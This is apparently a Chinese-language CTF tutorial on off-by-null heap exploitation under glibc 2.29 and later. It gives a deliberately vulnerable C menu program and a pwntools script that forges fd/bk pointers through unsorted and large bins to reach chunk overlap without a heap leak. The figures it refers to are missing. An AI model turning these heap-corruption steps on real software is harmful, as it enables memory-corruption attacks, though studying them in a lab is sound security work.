off by null高版本利用方式

off by null高版本利用方式

原理及思路

自 glibc-2.29 起加入了 prev_size 的检查,以上方法均已失效。不过要是能够泄露堆地址可以利用 unlink 或 house of einherjar 的思想伪造 fd 和 bk 实现堆块重叠。

/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = prev_size (p);
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
  unlink_chunk (av, p);
}

而这个源代码的意思则是

在堆块向前合并的时候,计算pre_size,找到之后和前一个堆块的大小对比,那这个时候,我们伪造的堆块pre_size将会失效,因为我们没有办法像低版本那样进行切割伪造,形成uaf和overflow

也就是说高版本的堆块合并需要绕过如下检查:

chunk 合并需要绕过如下检查:

  • prev_size和按照 prev_size 找到的 chunk 的 size 是否相等。
  • unlink
    • chunksize (p) == prev_size (next_chunk (p))
    • fd->bk == bk->fd == p
    • p->fd_nextsize == NULL (绕过对 fd_nextsizebk_nextsize 的双向链表检查)

但是有没有绕过的方法呢,当然有

思路:构造一个 fake chunk 满足上述条件,最好是不需要泄露堆地址。

难点:如何在不泄露堆地址的情况下构造满足 fd->bk == bk->fd == p的 fake chunk 。

首先采用如下方法伪造出 fake chunk 的 fd 和 bk 。

之后利用 unsorted bin 伪造 chunk1 的 bk 。


由于 unsorted bin 是从 bk 开始取的,不能通过 unsorted bin 来修改 chunk6 的 fd ,因此这里借助 large bin 和部分覆盖来伪造 chunk6 的 fd 。

至此 fake chunk 满足 house of einherjar 条件,可以实现堆块重叠。

可能会显得相当复杂,我们用2.29的libc,来自己编译程序进行操作

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

这是源代码,程序的漏洞几乎是齐全的,我们只是用它来进行演示漏洞利用思路,本地使用的是2.38的glibc,可以说是目前最新的版本

from pwn import *

context(log_level="debug", arch="amd64", os="linux")
io = process(
    ["/home/gets/pwn/study/heap/offbynull/high/ld-linux-x86-64.so.2", "./pwn"],
    env={"LD_PRELOAD": "/home/gets/pwn/study/heap/offbynull/high/libc.so.6"},
)


def dbg():
    gdb.attach(io)

def add(index, size):
    io.sendafter("choice:", "1")
    io.sendafter("index:", str(index))
    io.sendafter("size:", str(size))


def free(index):
    io.sendafter("choice:", "2")
    io.sendafter("index:", str(index))


def edit(index, content):
    io.sendafter("choice:", "3")
    io.sendafter("index:", str(index))
    io.sendafter("length:", str(len(content)))
    io.sendafter("content:", content)


def show(index):
    io.sendafter("choice:", "4")
    io.sendafter("index:", str(index))


io.interactive()

利用操作

首先我们需要明白,我们的目的是在不泄露堆地址的情况下,完成fd->bk == bk->fd == p的操作,从而完成堆块的伪造,绕过检查

我们先按照上面图片所示,申请出八个堆块

add(1, 0x418)
add(2, 0x108)
add(3, 0x418)
add(4, 0x438)
add(5, 0x108)
add(6, 0x428)
add(7, 0x108)

按照上面的顺序,应该是先free1,让1号堆块的bk指针,指向4号堆块,而向完成这样的操作,又需要把4号堆块free掉,而4号堆块的bk又需要指向6,这个时候有需要把6号堆块放进unsorted bin

free(1)
free(4)
free(6)

可以看到,我们的bk操作都完成了,这个时候unsorted bins里面堆块由1-->4-->6

然后我们需要进行合并操作,只有合并的时候,我们伪造size才会比较方便

而这个时候的三号堆块大小是0x418,刚好和4号堆块相邻,就会产生合并,由于我们只是申请释放,不会产生任何影响

产生了一个大小为0x860的堆块

申请0x438大小的堆块,那这个时候会发生什么呢,由于我们申请的堆块特别大,程序会把刚刚合并出来的这个堆块从unsorted bins里面切割出来,而剩下在unsortedbins里面的堆块,由于大小都大于0x400,都会被放进largebin,而切割的这个0x860的堆块,剩下的部分依旧在unsortedbin里面

add(1,0x438)

而现在,按照上面的图片里面的操作,我们需要伪造出一个fake_chunk,本来的chun1大小是0x418,而现在变成了0x438,这也就意味着,我们现在对chunk1的操作,是可以覆盖到原本的chunk2的,所以这里我们可以修改原本chunk2的size位

edit(1, b'a' * 0x418 + p64(0xa91))

而这个时候,下面的421就是位于unsortedbin里面,没有被拿出来的堆块,原本的这个地址是chunk2的size位,我们把剩下的在bins里面的堆块申请回来,防止影响最后的操作

而这个0xa91,就是大堆块,0x20加0x420加0x110加0x430加0x110的大小,完整的覆盖了几个堆块

我们对比着看一下,假设0x5555569c5c00的这个位置的堆块(也就是伪造出来的chunk2),这个时候chunk2如果是在unsortedbins里面,它的大小是0xa91,而fd和bk指针指向的是chunk1和chunk6

那然后呢

我们回头看看上面的图片,我们把chunk6先放进unsortedbins里面,再把chunk3释放掉,这个时候的3号堆块,就是我们伪造出来的chunk2,把6先放进去,所以6号堆块的bk会指向3

我们要伪造的就在这里,而现在的bk指向的是我们伪造位置的下方

也就是这里的挪动指针,我们要挪上去

准备了那么多,终于要进行off by null的操作了,但是意外的是,我们只能改一个字节为00,如果我们在这里进行操作了,我们需要修改的是c00和be0,但是他们的高位并不一样,这里直接修改是完成不了的

我们需要在整个程序上面加上一个0x18大小的堆块,让他们的高位相同

就像这样,上面的堆块的bk指向c20,我们要做的是把它改成c00

这个时候我们的off by null,就可以把c20改成c00,从而完成了上面的挪动指针的操作

先把3号申请回来,进行修改,再放进去

add(3, 0x418)
edit(3, b'b' * 8 + p8(0))

修改完之后

可以看到两个堆块互相指向对方,这里fd-->bk伪造完成了,我们还需要伪造bk-->fd

后面的伪造则需要用largebin来进行伪造,也就是上面最后的那张图
那么对应的也就是free6和4,这里要注意下标,可能需要大家自己稍微梳理一下,然后申请一个大堆块,把他们放进largebin里面

这个时候注意这两个堆块,重点是下面这个,我们要做的就是把这个堆块的fd由指向c20,改成指向c00就可以完成我们的利用

所以我们现在需要把6号拿回来,再去修改

add(6,0x428)
edit(6,p8(0))

因为我们现在要修改的是这个位置

而这样修改完之后,我们就完成了修改

可以看到,我们伪造的堆块的fd指向0x555556e412b0,而这个堆块的bk又指了回去

伪造的堆块的bk指向0x555556e42150,而这个堆块的fd也指了回去

这样就完成了fd->bk == bk->fd == p保护的绕过,完成了双向链表的构造

现在只要申请回来就可以使用了

add(8,0x418)

但是这个时候还不可以进行使用,因为我们是要向前合并,不能向后合并,所以我们还需要申请一个堆块

add(9,0x38)

接下来通过off by null,溢出修改size末字节为00

edit(7,b'a'*0x100+p64(0xa90)+p8(0))

这边已经完成了修改

最后把这个大堆块free掉就可以完成堆块的重叠

最后附上完整的代码

add(0, 0x18)
add(1, 0x418)
add(2, 0x108)
add(3, 0x418)
add(4, 0x438)
add(5, 0x108)
add(6, 0x428)
add(7, 0x108)
#prepare
free(1)
free(4)
free(6)
free(3)
add(1, 0x438)
edit(1, b"a" * 0x418 + p64(0xA91))
add(3, 0x418)
add(4, 0x428)
add(6, 0x418)
free(6)
free(3)
add(3, 0x418)
edit(3, b'b' * 8 + p8(0))#fd-->bk
add(6, 0x418)
free(4)
free(6)
add(4,0x9f8)
add(6,0x428)
edit(6,p8(0))#bk-->fd
add(8,0x418)
add(9,0x38)
edit(7,b'a'*0x100+p64(0xa90)+p8(0))#off by null
free(4)#unlink
dbg()
io.interactive()
0 条评论
某人
表情
可输入 255